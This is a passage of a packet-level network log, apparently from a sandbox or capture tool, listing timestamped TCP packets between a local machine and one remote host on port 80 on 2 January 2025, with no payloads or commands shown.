Jan 2, 2025 19:14:18.025322914 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025388956 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025393963 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025401115 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025413036 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025424957 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025429964 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025441885 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025451899 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025476933 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025491953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025497913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025497913 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025499105 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025510073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025588036 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025590897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025614977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025626898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025633097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025640011 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025640965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025664091 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025764942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025770903 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025782108 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025788069 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025794029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025796890 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025815964 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025913954 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025919914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025926113 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025930882 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025950909 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025978088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025984049 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025990009 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025995970 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.026016951 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.026047945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.026053905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.026065111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.026082039 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.026102066 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.026169062 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.026175022 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.026187897 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.026335001 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.026865959 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.027045965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.027057886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.027070045 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.027075052 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.027081966 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.027086973 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.027093887 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.027126074 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.027224064 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.049381971 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.049391031 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.049396992 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.049467087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.049473047 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.049484968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.049490929 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.049496889 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.049499035 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.049524069 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.049922943 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.053628922 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.053644896 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.053652048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.053663015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.053669930 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.053674936 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.053688049 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.053694010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.053760052 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.053869009 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.067744017 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.067749977 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.067761898 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.067769051 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.067775011 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.067790031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.067795992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.067801952 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.067879915 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.067879915 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.067915916 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.067920923 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.067931890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.067943096 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.067948103 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.067955017 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.067960978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.068006039 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.068016052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.068048000 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.068584919 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.068589926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.068602085 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.068643093 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.068649054 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.068660975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.068666935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.068672895 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.068690062 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.068690062 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.068727016 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.068727016 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.070313931 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070395947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070419073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070421934 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070426941 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070430994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070437908 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070476055 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.070482016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070488930 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070499897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070507050 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070525885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070532084 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070543051 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070549011 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070560932 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070571899 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.070571899 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.070571899 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.070657969 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.070699930 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070755005 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070760965 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070842028 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.070878029 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070879936 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070884943 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070890903 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070895910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070902109 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070908070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.070961952 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.070983887 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071058035 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.071083069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071096897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071103096 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071109056 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071115971 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071121931 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071127892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071132898 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071139097 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071157932 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.071181059 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.071238995 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.071307898 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071320057 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071357965 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071363926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071371078 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071410894 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.071434021 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.071434975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071441889 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071448088 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071454048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071495056 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.071497917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071505070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071518898 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071525097 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071537971 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071542978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071548939 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071557045 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071566105 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.071566105 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.071589947 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.071770906 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071784973 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071791887 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071866989 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.071866989 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.071892023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071897030 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071903944 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071909904 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071914911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071927071 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071933031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071944952 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071949959 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071955919 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071962118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.071970940 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.071970940 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.071994066 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.072000027 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.072005033 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.072005033 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.072012901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.072067976 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.077866077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.077907085 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.077918053 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.077924013 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.077975988 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.077981949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.077987909 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.077992916 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.078003883 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.078006029 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.078006029 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.078016043 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.078016996 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.078037977 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.078108072 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.078164101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.078171015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.078181982 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.078187943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.078193903 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.078269005 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.081090927 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.081098080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.081110001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.081115007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.081125975 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.081132889 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.081139088 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.081146002 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.081209898 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.081250906 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.081250906 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.082437038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082489967 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082494974 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082499981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082513094 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082515001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082519054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082521915 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082629919 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.082629919 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.082664013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082669020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082679987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082693100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082700968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082725048 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.082725048 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082731962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082739115 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082743883 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082760096 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.082806110 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.082935095 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.082940102 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083004951 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083010912 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083017111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083029032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083036900 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083049059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083055973 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083092928 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.083111048 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.083111048 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.083302021 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083307981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083323956 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083329916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083336115 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083342075 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083348036 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.083372116 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.083439112 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084347010 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084352016 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084372044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084378958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084384918 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084392071 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084424973 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084431887 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084444046 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084445953 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084445953 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084475994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084481001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084491968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084497929 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084505081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084507942 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084507942 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084531069 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084537029 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084549904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084567070 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084567070 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084574938 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084579945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084585905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084592104 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084595919 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084608078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084614992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084616899 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084616899 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084619045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084631920 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084640026 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084645987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084654093 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084659100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084673882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084678888 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084687948 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084712982 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084712982 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084734917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084741116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084753036 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084758997 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084764957 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.084774017 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084788084 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.084988117 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.086242914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086352110 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086358070 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086369038 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.086384058 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086430073 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.086450100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.086456060 CET	80	49727	147.45.44.131	192.168.2.6
